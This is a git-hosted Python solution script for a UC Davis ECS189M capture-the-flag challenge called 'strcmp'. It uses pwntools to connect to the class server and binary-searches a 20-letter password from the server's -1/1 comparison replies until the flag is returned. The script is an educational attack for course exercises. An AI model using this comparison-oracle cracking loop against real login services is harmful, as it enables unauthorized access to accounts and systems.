ucdavis-ecs189m

[RADIOACTIVE] python exploits for uc davis class ecs189m
git clone git://git.figbert.com/ucdavis-ecs189m.git
Log | Files | Refs

strcmp.py (2979B)


      1 # A CTF exploit by FIGBERT
      2 # for UC Davis class ECS189M
      3 # twinpeaks.cs.ucdavis.net:30004
      4 # Category: Linux and miscellaneous
      5 # Challenge: strcmp
      6 # 05/01/2020
      7 from pwn import *
      8 
      9 def string_to_integer(s: str) -> int:
     10     """Returns the passed string's (b26, a-z) base10 value
     11 
     12     Keyword arguments:
     13     s -- the string to convert to an int
     14     """
     15     # Converts the characters to ascii representations (a=0, z=25)
     16     num_values = [(ord(char)-97) for char in s][::-1]
     17     lst = []
     18     # Converts the number representation in the list to its base10 value
     19     for pos, val in enumerate(num_values): 
     20         lst.append(val*(26**pos))
     21     # Return the sum of the character values in base10
     22     return sum(lst)
     23 
     24 def integer_to_string(num: int, max: int = 19) -> str:
     25     """Returns the passed base10 int's string representation
     26     
     27     Keyword arguments:
     28     num -- the int to convert to a string
     29     max -- the length of the string minus one
     30     """
     31     alphabetized_input = ""
     32     for a in range(max,0,-1):
     33         # Divides the number to get an int (0-25/a-z)
     34         digit = int(num/(26**a)) if int(num/(26**a)) <= 25 else 25
     35         # Converts the number to the corresponding letter
     36         corresponding_character = chr(digit+97)
     37         # Adds the new character to the total string
     38         alphabetized_input += corresponding_character
     39         num -= digit*(26**a)
     40     corresponding_character = chr(int(num)+97)
     41     alphabetized_input += corresponding_character
     42     return alphabetized_input
     43 
     44 def passgen(low: str, high: str, size: int = 19) -> str:
     45     """
     46     Returns the string in the middle of `low` and `high`
     47 
     48     Keyword arguments:
     49     low -- the least string
     50     high -- the highest string
     51     size -- the length of the strings
     52     """
     53     return integer_to_string((string_to_integer(low)+string_to_integer(high))//2, size)
     54 
     55 cracked = False
     56 first_attempt = True
     57 LO = "aaaaaaaaaaaaaaaaaaaa"
     58 HI = "zzzzzzzzzzzzzzzzzzzz"
     59 connection = remote("twinpeaks.cs.ucdavis.edu", 30004)
     60 while not cracked:
     61     # First run case
     62     if first_attempt:
     63         # Generates a password
     64         password = passgen(LO, HI)
     65         # Prints challenge
     66         print(str(connection.recv(), "utf-8"))
     67         # Sends and prints the password
     68         connection.sendline(password)
     69         print("Password: %s"%password)
     70         first_attempt = False
     71     else:
     72         response = connection.recvline()
     73         previous_pass = password
     74         # Checks the response to perform binary search
     75         if b" -1 " in response: # Password too small
     76             LO = password
     77             password = passgen(LO, HI)
     78         elif b" 1 " in response: # Password too large
     79             HI = password
     80             password = passgen(LO, HI)
     81         else: # Password cracked
     82             cracked = True
     83             break
     84         connection.sendline(password)
     85         print("Password: %s"%password)
     86         connection.recvline()
     87 print("Flag: %s\n"%str(connection.recvline(), "utf-8").strip())
     88 
     89 connection.close()